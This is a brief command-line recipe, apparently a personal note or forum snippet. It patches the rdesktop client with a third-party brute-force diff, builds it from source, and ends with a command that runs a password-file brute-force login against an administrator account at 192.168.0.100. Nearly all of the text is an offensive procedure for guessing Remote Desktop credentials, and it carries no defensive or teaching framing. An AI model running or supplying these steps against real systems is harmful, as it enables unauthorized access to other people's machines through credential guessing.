apt-get remove rdesktop
apt-get install openssl libssl-dev libx11-dev
Get the source to version 1.50 from www.rdesktop.org
Get the patch http://www.foofus.net/jmk/rdesktop.html
tar -xzvf rdesktop-1.5.0.tar.gz
cd rdesktop1.50/
patch -p1 -i rdp-brute-force-r805.diff
./configure
make
make install
Brute-force attack using password file:
rdesktop -u administrator -p passwords.txt 192.168.0.100